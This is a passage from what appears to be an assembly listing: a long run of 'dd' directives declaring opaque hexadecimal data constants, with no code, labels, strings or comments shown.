210AEC05h, 0D3DA08F7h dd 118B4356h, 2782F72Ah, 288FC138h, 0C221AE30h, 7EDC0A08h dd 44B5BE21h, 0DF2221F0h, 50E2CF0Fh, 7A11D6A2h, 0FE12841Ah dd 46840C28h, 0F61EA152h, 153B210Ah, 66A8A0AAh, 1488D742h dd 283EC245h, 84F32A11h, 5CC9FC7Bh, 0E116C22h, 828C4818h dd 60064654h, 489E1134h, 86816031h, 0B5501716h, 84044011h dd 0E640DF35h, 0C9BE741Bh, 0C58CE68h, 7CC3A844h, 0A70CC4B1h dd 3609D991h, 0AC095486h, 0FD55116Ch, 428C21A4h, 0D066F458h dd 6AA5B114h, 38504474h, 2B0CBC99h, 0CF431FFh, 0C0580561h dd 4314D411h, 8AA02F9Bh, 0F0CA9816h, 0B873496Ch, 121DE8Ch dd 0EC11C06h, 7FC2307h, 0DEEFA144h, 61748788h, 0F881AD3Bh dd 0BB00A9BCh, 0B1DE60C6h, 3BC18C6Dh, 0A79D7E85h, 0A89F008Fh dd 0DA78058Eh, 0C2D87500h, 8B7B70CDh, 6EF892h, 68B1D58Ch dd 0B385A996h, 0B8AA7503h, 0A0D0DE61h, 0C3928AC0h, 68BAA811h dd 0C574D4E0h, 0B1AF6300h, 75D58D6Fh, 0F19F3CB2h, 0A7607300h dd 0C48AFB85h, 8C786CF0h, 9F3D727Bh, 0D1F4D8ADh, 90ACAF04h dd 74C48100h, 0FBC3607Dh, 0AE86296Eh, 25416218h, 5E1338C8h dd 24A43C26h, 53AAA800h, 0C520A88h, 0BE0C2FF5h, 34174218h dd 841FA9D9h, 8E9693BDh, 6C0D7C47h, 0F4C0C174h, 58791181h dd 90101CA0h, 890B384Ch, 46E739A2h, 58D4078Ch, 0F1A1E581h dd 9201D1F6h, 0D8881962h, 0F0B902F3h, 0F44D0863h, 0C42C853h dd 0FA408044h, 0C351AAF9h, 97D2A7D9h, 91DC0818h, 0C5FF39F9h dd 201175C0h, 0A3AA987Ch, 0A36A463Bh, 1C43600Ah, 10C1C87Ch dd 1886265Ch, 6882E431h, 9E29C4A2h, 0E3AE02h, 5F05496Bh dd 4281EA60h, 612B7004h, 2F5E40DBh, 791000EFh, 0F726195Fh dd 294178C3h, 0F3570A60h, 3DE08C1Eh, 8F11C0B5h, 3D80E218h dd 0AC212830h, 8C395488h, 7D9400D1h, 0F75B1A49h, 0B0B1DE41h dd 42171100h, 6109BBAh, 0FF4C97CCh, 8E5089B3h, 8C9F548h dd 0F228391Ah, 2BC6422h, 0EA8809C1h, 45F0C12Ah, 768F6DAh dd 4DBDD248h, 1DF9EAB3h, 0C489408Eh, 0A98C7DBAh, 9CB27C16h dd 0C2727862h, 98985864h, 1FD9F854h, 0D381DACEh, 688C80ADh dd 0F714A7DFh, 8044D06Eh, 24D7E2FDh, 60821550h, 54830476h dd 51E273A2h, 8000C9Ah, 9671B8E3h, 74895384h, 894C614h dd 0D888B48Fh, 0D088076Bh, 0A03ABEC5h, 7220DF20h, 102253D3h dd 9A08D829h, 4C07F14Eh, 0D1308A76h, 9A599466h, 31F4B314h dd 64092019h, 191049D3h, 4E1F108h, 0CD727004h, 9CB7A209h dd 0BD72E5C1h, 56F50C48h, 50408CB1h, 659E1AC6h, 68E928AAh dd 0C409BCD2h, 12DF89D8h, 48DD24DEh, 22DB91A4h, 0A0D944DAh dd 0A612A789h, 0CC48A524h, 0C222C391h, 0F8C8C144h, 8CA9008Ah dd 8EA5C7ACh, 0C1C6CEA6h, 52B8DE89h, 0DDCA84B3h, 0B0655D04h dd 0BCBA084Ah, 0E06F990Fh, 0D08822DCh, 8FFE3E8Ch, 89FC4300h dd 0B2C8BC56h, 6007D371h, 92D28B6Fh, 6A4150C7h, 42F59888h dd 7ADCD9D3h, 634FD0F0h, 0FF6340DEh, 0E8BC69C0h, 0D3A6B207h dd 4D59D9FEh, 4E87F48h, 0D559F57Fh, 0FA88302Bh, 810882A1h dd 0BE94A3FEh, 38897914h, 74C002ABh, 23E2AE60h, 0ACC18399h dd 0C509BB84h, 42F1804h, 3380BBEAh, 717CC839h, 0E9611B01h dd 0FF5FB457h, 72012185h, 0C0382AD0h, 823D1CCEh, 7D100F11h dd 7A86DDD7h, 1500188Eh, 0C2715EBBh, 28CF8489h, 1CB442h dd 21E67686h, 92A81DD2h, 2F28D552h, 8EE4538Dh, 0F44C98AAh dd 1B602A41h, 1C697431h, 2F75A7h, 951177DBh, 0C6AC737Fh dd 579820C0h, 3EF9414h, 561CCDEh, 0C100E95Fh, 3A3C2476h dd 1C86B0ECh, 7A87F7D8h, 507EE160h, 5303BCB9h, 0A54C1917h dd 8CFA8EFh, 517B2Dh, 0E96B9C1Fh, 4BD0AFBEh, 0FBBD501Ch dd 620347C0h, 1974D27Fh, 6004C03Ch, 725A0098h, 320A035Bh dd 8A16DB38h, 0C484D107h, 20E0D8FCh, 306691Ch, 707C4A77h dd 56BB42F8h, 0D055B82Fh, 87AC0C20h, 59A9DE86h, 0EB397079h dd 8EF83DC2h, 60267BD6h, 96F3543Dh, 0B6210F2Eh, 0B100489Dh dd 0FD3A7C73h, 460F8A00h, 2D1F7D66h, 185000CCh, 0BBD66C19h dd 7600F82Eh, 8A963408h, 7E4250Bh, 2D48188Ch, 0F728C07Fh dd 35742B9Bh, 3107617Eh, 227E96F8h, 29C39F4Fh, 0F135EA9h dd 270A6E40h, 32845280h, 7E5598E3h, 135DF040h, 3CF0C6E0h dd 0F82883Eh, 0AA93401h, 0D740302Ah, 29FA2CBBh, 971C185Ch dd 0E218AE85h, 73AF2D38h, 5DA90A0Fh, 65602F0Eh, 7E8C0A8Bh dd 0FB0EDE04h, 8128185Dh, 0BB6E4A5Ch, 2DFD14D1h, 0F89B1858h dd 99CC0034h, 0DB93330Bh, 0D4152748h, 802C795Ch, 1C8AF71Ah dd 9CF6002Dh, 83CA8854h, 0FA533C4Fh, 0B52D2438h, 70E16D07h dd 76C71A01h, 145D3FC1h, 7E401Ch, 12D9E13Fh, 0E4989122h dd 83142B74h, 74F8190Eh, 0A1D52605h, 5010884Ah, 97B8AA04h dd 442A8E07h, 3B417298h, 74F0BB9Ah, 0A831DF6h, 199B0430h dd 1234C02Ch, 9AF737h, 1D605CE8h, 2759D728h, 19892E1h dd 651798D2h, 0C4198269h, 409861E4h, 275850C0h, 780BB52Dh dd 0A820993Fh, 8BE13E6Ch, 0ECD34870h, 9824263Ch, 0B7666174h dd 9028F3D9h, 48560D7h, 574BC27Fh, 1A083040h, 29B7A905h dd 9092F918h, 49404C8Dh, 6B02586Dh, 24E45DF9h, 684B54C0h dd 0D0539D26h, 418AF607h, 0D769081h, 85C4089h, 0AB7C080h dd 9B07CC03h, 9AFA315Eh, 590E174Eh, 3D714E18h, 99E42C01h dd 706021E5h, 0FC274C1Ch, 8D12263Ah, 90A40387h, 81CF155Eh dd 0F037E69Bh, 1833E451h, 0B32458F6h, 0A96BB852h, 8D40C35Fh dd 43E70E6Eh, 903C0A76h, 64B87050h, 0FA1D597Ch, 633C14B7h dd 0E05CE4A1h, 7498F718h, 52CC16E7h, 3E18344Bh, 0F852AA04h dd 0F81B0F83h, 0CCA55EC3h, 1005D9D4h, 1AB7F933h, 0F0BB608Ch dd 0FE290321h, 0A8275D8Ah, 27B89D9Ch, 6FD30118h, 597160E5h dd 64FB1C30h, 81FA0898h, 0C58D2DE8h, 300BF314h, 0FE5270Fh dd 5DFD007Ch, 12F7020Eh, 896D0376h, 0EF041A40h, 0F8474BC1h dd 0AAC4648Ch, 0B4B002E8h, 13E467EFh, 0C673759h, 9AB003CBh dd 9B181B0Eh, 18C91019h, 0BE1E336h, 48C46234h, 295D1A1Ch dd 62DC6209h, 65E494C4h, 900B5026h, 0E58C6FC0h, 68489B02h dd 600998F4h, 0DF188A10h, 20F1E68h, 260E53C6h, 0FA2920E4h dd 0F692C5Ch, 0A80983Ch, 5DCC1E27h, 58D41815h, 8C058D19h dd 9AFD2C0Eh, 0D9F704C0h, 9AFEF56Ch, 17504018h, 5F389B4Ah dd 5F043DF2h, 0BB3F1201h, 0DAC62E83h, 1061F084h, 0E12D3711h dd 184EF674h, 0C820538Bh, 18619827h, 1FA92D2Dh, 352B4050h dd 8165F96h, 0D805F927h, 64D79D2Dh, 2185320h, 0D940AAF8h dd 0E50A2F8h, 84383DB7h, 0F72E3982h, 5FD220E8h, 8430E46Fh dd 44F03319h, 275EE836h dd 3C922D0Eh, 3ABBD479h, 54090083h, 18E461FBh, 1991EFAh dd 309B0B34h, 1C5E8C83h, 90E091A2h, 7E1F9D49h, 0B020555Ch dd 0E1601850h, 0D5352103h, 28149B0Eh, 15E584C6h, 96F850F4h dd 0BB2DC1C8h, 7C68850Eh, 0E0C14D85h, 0E875021Dh, 0AFA2340Bh dd 9B7BEC58h, 68C850BEh, 2AF8F5Dh, 90EEF62Bh, 0A81F7F3Fh dd 6B00F0F9h, 6885A66Ch, 1D175D98h, 0CB7F71Ah, 0F821E403h dd 19156F03h, 85098CCCh, 245EC803h, 34902DE5h, 2FD7E090h dd 99F81817h, 104BF8D9h, 1DE097F3h, 7C3AA919h, 5E097C1Bh dd 508D341Ah, 7CAAE860h, 0DCFA5014h, 5EE52D33h, 158AA001h dd 47B06B27h, 98E41326h, 18B88208h, 790AE053h, 8C20C448h dd 4EA508F1h, 0E0F8605Eh, 8B18FB03h, 1BD8385Dh, 5CF62834h dd 79B7E8DCh, 1E5C90BBh, 1911A14h, 8CFA2C84h, 0E1043102h dd 0A840E22Eh, 510A3415h, 0B03661B4h, 0FF00A15h, 0A5FB015Eh dd 0DCF34B0Eh, 19377877h, 0E93A5952h, 6B0A0124h, 0DC325855h dd 306059FAh, 51301730h, 0D420B65Ah, 4887FD29h, 0F0514402h dd 6429F409h, 9F0D293h, 30702042h, 300FCC7Ch, 8C9BF701h dd 2821E828h, 0C9F0C629h, 1845D7E0h, 0FA4650FFh, 32155109h dd 3FDC80CCh, 0B5EF2h, 5372D34h, 6822F0E1h, 39447900h dd 0BDA527F8h, 49E00EC0h, 0E880B937h, 448E4BA2h, 88B06F0Ch dd 8A20BBh, 0DD7BBEA9h, 9574B680h, 759A2600h, 0B934963Bh dd 0EA6C30F3h, 486AC588h, 0B0588F00h, 1D40FFE1h, 2B953B75h dd 0A6531300h, 57698422h, 277EB007h, 0F0E5A7B2h, 46552038h dd 395A0619h, 0CF08AC3h, 9C540D45h, 0D70AE090h, 88428037h dd 3A888680h, 763C42Bh, 0ABAD9425h, 908E455Ah, 3A80830Ch dd 0A40EB777h, 64DAA017h, 0B94F8D61h, 7DC2B20h, 9D00C2B1h dd 0C8E4B884h, 0A8305A25h, 4014E540h, 0DE30CBCAh, 50119C6h dd 0F17C0AAEh, 90AD97h, 0C438137Ah, 82E70407h, 7C22A730h dd 2484A55Ah, 8C20B844h, 2EBCD240h, 1729DE47h, 0C00F0D1h dd 87C21420h, 0AAEB0544h, 326CF53Eh, 1506E61Ch, 3D260EE9h dd 0FB203FD0h, 877285C0h, 2D363503h, 9766A6h, 2CF56B59h dd 0CB99E131h, 90BFA33h, 4B210787h, 80592C9Dh, 90F022C5h dd 9E0D0A0h, 1B372F3Ah, 0C080898Fh, 0D325EDh, 0E3B504BBh dd 7422DACAh, 2030856Ah, 0BDDB2808h, 911C51Ch, 38005F7Eh dd 96860AD6h, 0CAED7C14h, 0E5BCC860h, 781C3217h, 9461D405h dd 9418CC95h, 0B4C3E918h, 129208A9h, 34478FBh, 73530B7Ch dd 34E3780Ch, 44D66072h, 6024094Fh, 56E05CA7h, 270F2BA6h dd 984A2FEDh, 14995882h, 5C1E784Fh, 80C49460h, 0F6BA42F1h dd 7F00B189h, 0BE8FCAC7h, 387A333Fh, 8E1CE078h, 81A9B741h dd 4320DAF0h, 76810E08h, 0F2D82243h, 40101A6Bh, 98CC113h dd 9E300D44h, 182EAC11h, 503A048Fh, 325AABC4h, 0A66620B4h dd 8E03073Bh, 0E4DFC5AAh, 14875CBh, 1DF26E17h, 20B3E251h dd 0B01519B8h, 7FF4B760h, 4D004BF6h, 0F3B8181Eh, 2630559Fh dd 7C446CCCh, 0F1B01D23h, 3C17E21Dh, 8C30D795h, 2A3A8980h dd 448C9BC4h, 8100848Fh, 0B7EB993Ah, 0EE772122h, 0E8401CBBh dd 0E879556Ah, 0A12D2909h, 2CF4CC30h, 0B1E13410h, 2C9C48E0h dd 0DA9BAB03h, 7071FC7Ah, 0EC1514D0h, 970E90FAh, 0CBC0E51Ah dd 0D843F5AEh, 18902671h, 98D0EB1Dh, 310F7C60h, 0D9183D7Fh dd 0D4682569h, 2C1C1DB2h, 2340DC3Ch, 86A9C034h, 16E00F5h dd 0ED9D16B9h, 0B00E675h, 85F1D91Ch, 18ECEE1Dh, 8090AC17h dd 0FF1D05ADh, 6D5533Ah, 55F3014Ch, 0EF653879h, 0B60024h dd 3EF0D735h, 5159742Dh, 0C3088566h, 917C21h, 15E766D7h dd 8C5AC0B4h, 0C4902C9Ah, 0FE80C9ECh, 943402B1h, 9A7BF8D6h dd 0F19694A0h, 7CAD42A6h, 8062DE08h, 1AFB9B56h, 2498B98Fh dd 0E6E98D01h, 0B308D03Eh, 2A503882h, 0C14426h, 181F05C7h dd 0C0287D0h, 0FADF9D8Bh, 515E08C8h, 4C64E660h, 64FDEBB9h dd 0BC530856h, 393D004Ch, 0D85FF5E6h, 28A60236h, 7057E1Fh dd 54679898h, 527923h, 3EC6D61Fh, 808576FDh, 0B5D73173h dd 0CE045E83h, 74A82D40h, 42E61080h, 0BD6702FDh, 7632080Eh dd 0BFFB4040h, 4526B506h, 0C8938Ch, 9CEFD3FDh, 6AF04FE8h dd 405F8130h, 9258E16Fh, 9A15057Ch, 13A2FBC0h, 90B01090h dd 18770450h, 29431469h, 9499335Bh, 580D2505h, 3ECDD843h dd 68A4FAF8h, 0BA62F0CCh, 7B370540h, 0D016C4A2h, 592A7258h dd 57562018h, 1E58920h, 0B505A183h, 8006148Ah, 9CBE50C9h dd 0F83D5Ah, 0C0BC6E22h, 751EE843h, 0ADEB20C4h, 6583B481h dd 2C08CA0Ch, 0C4C1E01Eh, 0F2224086h, 1AE15B2Ch, 802142D8h dd 603BC804h, 10F5D736h, 0C874853Eh, 2E9680C7h, 49E8C9D7h dd 0F0B4D301h, 0EEDF89D4h, 0A84F458h, 0BF1FE834h, 5021388h dd 60DE98CCh, 7407E3CCh, 0F130CF65h, 0E7C5CC30h, 18BF6060h dd 0F0E3262Bh, 77C592Eh, 91DBFC09h, 8E182DE8h, 0C4513A04h dd 5CCB5873h, 3BA16D00h, 6A682AA5h, 0B2476605h, 0CC30D4E6h dd 498B0273h, 46837898h, 0F8F785E6h, 8B77C2h, 45E64E84h dd 6D18A298h, 0A9196CD9h, 0BD1600EBh, 1D8D377Eh, 47000310h dd 0C4E16E45h, 0DE6F8022h, 0CFD44E8h, 0C18C50FBh, 0EC400463h dd 381E020Ah, 0C9126936h, 71004CA0h, 84CAB879h, 85C08834h dd 21C43E3Ah, 0B5915ABBh, 57C6800h, 0DDB1EE74h, 6090D4E2h dd 0C0D82F55h, 64487F2Dh, 2CCEC62Ch, 2CE14978h, 56808488h dd 52B12C96h, 8304935Eh, 94F9F883h, 10042958h, 5E0020DEh dd 6C1DE58Ah, 0C93A2E2h, 5F801E06h, 911C3EC9h, 0DE09FA03h dd 78B3574Eh, 78660CD2h, 0D7E1B709h, 3ED810B9h, 504324E8h dd 0D8E30598h, 6F05672h, 18279FF0h, 6300FC8Ch, 180BF3E3h dd 0E25F1E5h, 20E18A40h, 0B4904B69h, 980B63Ch, 0B1D10954h dd 0BC9486E0h, 0D447FB26h, 0A6FFAC3h, 928FE879h, 9F560050h dd 48B5065Dh, 0B611C490h, 4623796Bh, 0CAD61302h, 9942623Eh dd 0AF10C0C4h, 7DF4D72Bh, 0DE529D00h, 2E0E1CE5h, 0CBF925F0h dd 0C15D1007h, 3465FC32h, 2F1DA498h, 0C440479Eh, 0E3446790h dd 87461028h, 544DD2Bh, 408AE14Ch, 4108D850h, 0F9CC41D9h dd 1C41DEA7h, 9E185EFh, 4041F11Bh, 3C32BC51h, 1FE64074h dd 4379FB9Eh, 6A620840h, 75649CB5h, 0E10BFFEEh, 21A48517h dd 40B04248h, 0B87F8082h, 80A0BC65h, 61B57C85h, 0A61DEA00h dd 0CCF7B8Eh, 0A3F60B9Fh, 0B0016A02h, 438FEF35h, 3CC9C49Eh dd 4B6C6594h, 8853C4F4h, 75C42530h, 0DB83AC1h, 74261AF3h dd 0BC569900h, 0C5EA28FCh, 5EE40206h, 30780D17h, 0E5C1415Ch dd 0ACA5C378h, 826B820h, 96178CBh, 4070EF16h, 0A6B8A980h dd 982851F0h, 6BD82920h, 0C18C08C8h, 80BCCD15h, 0E2DCDF56h dd 0BAB0E607h, 818B0928h, 0CC8215A6h, 84414573h, 12386385h dd 0AC627C1Ch, 98DC46FBh, 232A24B0h, 0E1AD8088h, 3FF83940h dd 2CE124BAh, 2DF5B9C4h, 2F003D0Ch, 0C7D8A14Ah, 156068AFh dd 0F0EDA77Ah, 0DA424509h, 0ECAFD418h, 32128079h, 68407E54h dd 0B9619FFDh, 2AE70208h, 0E89579D1h, 28E12846h, 8C84B844h dd 0D2487AFCh, 0B8407E6Ch, 48454D83h, 0FFD73700h, 112D4221h dd 0E4DCA229h, 3EF3E080h, 9B87EDDh, 62A07ADAh, 81963804h dd 425246F4h, 64C076A0h, 0DF809D84h, 0BC244922h, 0B1D1Ch dd 4487C738h, 17186FD6h dd 0E478D143h, 0D723634h, 18902148h, 18024546h, 153ECBD6h dd 7012CD31h, 8354ECC0h, 0EAE1F00h, 7DD36452h, 166E27E8h dd 235BC0A0h, 8140F94h, 1DBC77C2h, 50FA6FA6h, 9C915510h dd 509C8025h, 0C1FF99E2h, 0AC4C0B10h, 0EE4C70C2h, 0E08B0331h dd 80246668h, 9EBC2705h, 8991749Dh, 80C45784h, 0BDA32F60h dd 0B64DF09Ah, 0B1C11FD4h, 0C708DD0h, 8F65A62Ah, 18ECDED9h dd 9C0A2F77h, 0A0F4FB7Ch, 0B81A1E17h, 0C484C740h, 0FFD860C0h dd 2B0F0366h, 8927F0EBh, 0A52D8112h, 2CE03C60h, 0B991E610h dd 0C854C0CCh, 802AD92Ch, 4800885Ch, 4625178Fh, 0AE5CC8Eh dd 0E81160E9h, 0CAE205ACh, 23A02FFFh, 3B9100B0h, 0F5E77B7h dd 0BE7A1727h, 2D904364h, 0FC0C0A26h, 805E6709h, 0BE200F20h dd 0DBE49EC1h, 0E120509Ch, 9E18CCEFh, 217CB134h, 2C6EB0B0h dd 0E06C73F2h, 3AE2B5Ah, 5E0EC00h, 8B35CD07h, 642A5829h dd 0CB2465D3h, 0CFB4C818h, 44684320h, 0D84C24E5h, 0DC5C0D0h dd 14E12939h, 985E36F0h, 98F83D00h, 34C0E543h, 626DE06h dd 75513288h, 426424A5h, 0C8D00084h, 0B5BE51F5h, 0A1EEEB7Ch dd 720939C2h, 969C4180h, 50095066h, 52098FE6h, 8B7050B0h dd 383E80h, 169A57E6h, 8A1319ADh, 48321D2Ah, 6FC29E04h dd 0E08194C5h, 45008848h, 48B274DDh, 436A0301h, 7DB18963h dd 119459A6h, 0E63D80C9h, 942C4482h, 45395888h, 538AE601h dd 0E994DDFFh, 2C50A869h, 6F58442Eh, 0C450142Ah, 3C22A728h dd 0D94F7AF0h, 0D805A456h, 2004BF47h, 17214EC2h, 0F32E1070h dd 382F48F9h, 1F582093h, 0B900ED51h, 0D790C138h, 4B7AFB59h dd 1F8026Bh, 70517C2Dh, 1F2CCF81h, 503CC9E0h, 2C9749B0h dd 1EBFAA02h, 437A646Ah, 4A95A30h, 19FD0A0h, 969D22A6h dd 11ED6852h, 0C0043891h, 0ACD0FF73h, 788700E0h, 14E126DFh dd 9B0C0BCEh, 39EAC37Bh, 0A0FC0B50h, 20B2C66Fh, 0EABD440h dd 5151FAE0h, 0C0142C8Ch, 1F80040Bh, 34930907h, 7C40ABE0h dd 0F8051D85h, 0EBE5CEBFh, 0E554F449h, 60FAC460h, 0E0D03E9Dh dd 68494A2h, 0D86E8220h, 465EF096h, 65C700C2h, 0FBCA4270h dd 5722073Eh, 0B62BB337h, 0CE0029B4h, 4F40BA86h, 5392BDh dd 0AC351C7Ch, 0F45F7A04h, 0CCB1C60Ch, 0A2B90A0h, 91F9F896h dd 137A80E0h, 880FE3FDh, 8EE4C248h, 0A2D9E419h, 127144A0h dd 57B20C69h, 583420D8h, 24EE4247h, 0DE8A1000h, 52C49020h dd 0AB8005CEh, 8486B3E7h, 0CF8021CCh, 818ACDB1h, 6AF03A88h dd 82188EBh, 41BCD860h, 0ECA088D9h, 0F0668294h, 0E4905802h dd 0FA4C542Bh, 8A2E7008h, 0BF81C859h, 0B0349DC9h, 7724D8C2h dd 2C209685h, 0C0467608h, 6306C404h, 170F480h, 9E247D74h dd 0FD09F49Dh, 0A76C2048h, 0B1836D2Bh, 70C300C8h, 42D02E6h dd 0B8143800h, 774B2693h, 0B7FAA4h, 12A91775h, 0CDA80EACh dd 1E488DEEh, 0F95E08BCh, 960C098Ah, 3406CC89h, 0A62959FEh dd 3A848032h, 0DCA4652Ah, 0FC150045h, 49569EDh, 8464BC6Ah dd 0FC08718h, 58A2CC89h, 7F40026h, 418B0FF8h, 78890C45h dd 98B83814h, 2531F022h, 92E8200Dh, 56278113h, 7BFB9402h dd 965C504Fh, 0DB9D404Ch, 88021F6Dh, 2BF1A4C9h, 0F8D041F4h dd 6527A182h, 34D077FCh, 14880F78h, 5F05E84Ch, 5BA0043Ch dd 0C404A837h, 65059D60h, 0D934A06Ah, 2021C76Fh, 0A9985A39h dd 4AC47721h, 3C3010F8h, 30241092h, 0A45AC582h, 0B48110F0h dd 8AE4E0A5h, 0B8DDA8A8h, 9890F858h, 0A0B34880h, 5CCA6F08h dd 0C92EF04Eh, 0BDFD0038h, 21D865E5h, 146810D4h, 7818CFD0h dd 8158894h, 0BA0978B0h, 0C844F89Dh, 4D20E08Ch, 390458DEh dd 88B277E8h, 0FA3E9664h, 0A0706278h, 7B6440C2h, 54B94DD9h dd 82CF8C51h, 0E80500FBh, 812E0ADh, 80276A7Eh, 15D87770h dd 10596CE9h, 575C6670h, 170B82F0h, 0C58481A4h, 71E60442h dd 13E30908h, 497500Bh, 0D382FA91h, 8C86BDEh, 2500B93Fh dd 0CF2373A3h, 91455C3h, 0DF20E60Bh, 4CF04449h, 3DEB6F94h dd 0E66072CCh, 8218A759h, 0ADB40080h, 799DC33Fh, 6307205Dh dd 771F9E1Ch, 0B0025025h, 4626C6BFh, 79662A94h, 2AC903B8h dd 7CA5F64Dh, 0E5B4AE88h, 38D84E00h, 0B21B8D79h, 445A18B8h dd 0E01C3888h, 0C45076FCh, 910F6FC4h, 7255568Bh, 8CBD856h dd 308B75C4h, 7B6181DBh, 83CE12EEh, 30844140h, 0DC06C95Ch dd 740248EBh, 60B194FBh, 124CF0B0h, 27B34E3h, 847D62C8h dd 0F727E078h, 27BCA189h, 7B0387A3h, 9DB34EDCh, 0EC07E242h dd 0C84C44C4h, 2BC0F3B8h, 464488E6h, 40513D1Ch, 0E6530087h dd 4BBBBD79h, 9A07ADA2h, 0F890EA8h, 80C75A02h, 5FF0EB90h dd 8D4496BBh, 5B90C486h, 13CCB20h, 0BC566CA8h, 8450202Ch dd 32DA04CDh, 0D2577DA8h, 0F444E468h, 0F2EF502h, 484A5A08h dd 5483C570h, 3A2B071h, 0A788D206h, 9FB9D014h, 200DDD7Ch dd 815BBC3Ch, 0CDFC002h, 22A30EC8h, 18006314h, 84EA3A2Eh dd 1D2D3632h, 0B29AA34h, 5810E2FBh, 90B40160h, 0F67C548Eh dd 8D8818CBh, 6CBCB3C0h, 0B2E2015Ah, 71E022DAh, 48683757h dd 0F8942260h, 0C1E02705h, 0B491201Dh, 0F2F00B80h, 89CF7A65h dd 2F13A072h, 7142A16h, 69E16003h, 0D92B9150h, 5583C7Ch dd 42F06F34h, 98BBCE0h, 0E4DACAE2h, 0FDC2A067h, 4E0016C7h dd 0AA7578C3h, 7CE4FADh, 0A848311Bh, 7279F0D2h, 0D307D538h dd 7A807BB6h, 8143B483h, 2082AC95h, 75B24EFDh, 83282090h dd 0B1748BFCh, 25CA30C0h, 2C431D27h, 1BE485CFh, 219E08BFh dd 26CDF01Ch, 0E9238F80h, 4E00F4Eh, 360BAA7Fh, 7DEAC772h dd 0B8B1E728h, 0BDA57074h, 4AEC70Ch, 0C38F08A6h, 74C0C421h dd 2E3216E8h, 7B84570Fh, 3A6BA6h, 648DBC39h, 78AA67B3h dd 49C9410Eh, 0D41180A8h, 2AD33F0Ch, 3393981Eh, 0D708EE33h dd 14EA2100h, 2A51603Fh, 0B2C3D9Dh, 61459A00h, 0C44069ADh dd 22688A8h, 3C7FC720h, 1F0FE854h, 470E8096h, 79F83D0Ch dd 2F1EC205h, 81C06B15h, 0C0B2C9D3h, 3FB0F268h, 0B8C17F30h dd 0C83A3296h, 0E742C088h, 0A67E0CC1h, 405E74E1h, 828F2310h dd 0BEB978h, 7AB45FB0h, 0F48268C1h, 6080E8FEh, 7F2F6AADh dd 1807922Dh, 90C45EE5h, 0F001E4C5h, 798726FCh, 0FE24F840h dd 0B81FE899h, 6F2A196Fh, 50AB78E8h, 1D09ADECh, 8598F863h dd 35B91EB0h, 0FDD71FB2h, 0D4292070h, 60E07151h, 73304EEFh dd 10D148E2h, 20B36091h, 7D966EF2h, 924678DFh, 151C7E6h dd 0E723B61Ah, 527A446Eh, 8C23CF10h, 2E9100C6h, 219016B7h dd 950099DEh, 39D86AC1h, 18D2AA48h, 288CF08Ah, 401C42BDh dd 8EFC7728h, 2383C4A5h, 84B727h, 7EB54820h, 7FF7EF57h dd 0EA04ACA9h, 0B3C8EC80h, 66609BFFh, 710E92D1h, 0CE97B28h dd 0E7F17FCEh, 0E4A88D08h, 710716A5h, 284730FBh, 6FB07B07h dd 182E2C3Fh, 808B5077h, 8D26F119h, 9003EEAh, 0F96FA42Bh dd 70846228h, 10189C15h, 0E9221071h, 18ABE02Fh, 75210071h dd 3B0BCCCh, 147E2402h, 19030D72h, 35FCB733h, 1849D072h dd 0C0DE5109h, 4853CC02h, 12830B64h, 2E3C2F4h, 7E42A118h dd 4103C048h, 7A107C4Ch, 0B9F288A8h, 73359809h, 91B8170Dh dd 2CB180DBh, 188210DDh, 6995A3A9h, 0F8016E4Bh, 0F0512528h dd 7AF14AB6h, 2B1048C6h, 51001B2h, 5A732802h, 2080251Fh dd 28CB44Ch, 43112721h dd 0D319862Fh, 26CA0410h, 7162C802h, 41DE75DAh, 0F69288h dd 0C3D35D43h, 77BE7D01h, 0DB575A72h, 14490820h, 9CCC5C48h dd 8532C400h, 2F2B77F7h, 0F85B3624h, 223B1507h, 1811B186h dd 0F9A9F092h, 4C24472Bh, 0D300CC80h, 18438BE7h, 50D960F1h dd 0AA297A73h, 4F48E8C6h, 0F5272078h, 0C7B7E0C8h, 4310E326h dd 8B38679Ch, 0F380CEF1h, 9EF4DC22h, 0B9E8E051h, 3C90F5A8h dd 3AF8AB48h, 0B2A24016h, 33EA00h, 0A3FD8F14h, 26B22010h dd 3F2CC206h, 0CB87568h, 0CF0EF516h, 5F50B150h, 0F150927Ch dd 47242D74h, 402470A8h, 4C2FC3E0h, 0FC18C09Eh, 90B530E4h dd 40D04780h, 0FD181687h, 1F30D5B2h, 5AC6102Fh, 623271D7h dd 8EE418C2h, 0CB81D188h, 44431B26h, 0EAF82C84h, 990326EAh dd 36FE0E39h, 40C87BB1h, 9D7733D6h, 82F046E0h, 99C61470h dd 41BE8Ch, 0EBDB7911h, 0D5CDD8AEh, 381A130Eh, 393FE0C7h dd 0F4494A0h, 515C3DFh, 40985F07h, 83131AE3h, 433280A6h dd 2A38F81Eh, 0CBA100C4h, 0D0E0427Ah, 0F1601CB0h, 8D1819F1h dd 0FED30156h, 24684362h, 8A1422CCh, 0E340DCA3h, 0A944578h dd 0B52D5D4Ch, 6D0A403Ch, 0A074DFEBh, 301C8658h, 0AD2A4139h dd 0BC78C8C8h, 0E3591681h, 59808EA3h, 867ED75h, 5700426Eh dd 92F41E70h, 1CFC2D0Dh, 24B79ACDh, 129CCA04h, 731C092Ch dd 48436018h, 0C0D83430h, 0A0887183h, 0DEE51E84h, 0BE6302A0h dd 0B860D2B3h, 11EFB96Dh, 110C9C14h, 0E9267098h, 0A4708037h dd 79713B19h, 13183380h, 0D9AE47Bh, 767C8048h, 66D9D40h dd 3BDE3D7h, 0F1025964h, 0EC7B3C9Ah, 0DEB8C0A6h, 0FF80C1B8h dd 64F6AB1Eh, 0DD1809B8h, 0FB99C0CDh, 1A04869Bh, 0DFE8CC71h dd 0E207B138h, 4CF86971h, 0E3636D40h, 856128CBh, 805465C8h dd 3C8814EEh, 8275A182h, 0AAC6D040h, 0A70E7C99h, 0C22D6025h dd 92B047CCh, 0B058AC98h, 2D0467Ch, 2ACC3F17h, 10D83126h dd 5C3EFFE7h, 38184CA5h, 1B925088h, 2AF4BD4Ch, 836F84D7h dd 0D1666C04h, 0E820A049h, 6C573F30h, 0DF001B5Ch, 41E9D70Ch dd 93730B6Bh, 0CC623BF8h, 9ABB1C8h, 0BFD93C82h, 8003040Ah dd 85B3C7D3h, 0E81DF463h, 8C17E925h, 3B08F44h, 3F8671E5h dd 1AB04392h, 0A4B06AB9h, 0A5029828h, 0ACC5261Bh, 8DC81870h dd 2AC270A4h, 9118471Ah, 9A48E3E8h, 2B20C089h, 69F60539h dd 9D18322h, 78A1D888h, 84ABE492h, 7D2FA1F1h, 0D1238C90h dd 926A1326h, 57F031E5h, 300EA48h, 0A2B08F2Dh, 833CC3CCh dd 2CC1508Bh, 787E6127h, 9275A9A3h, 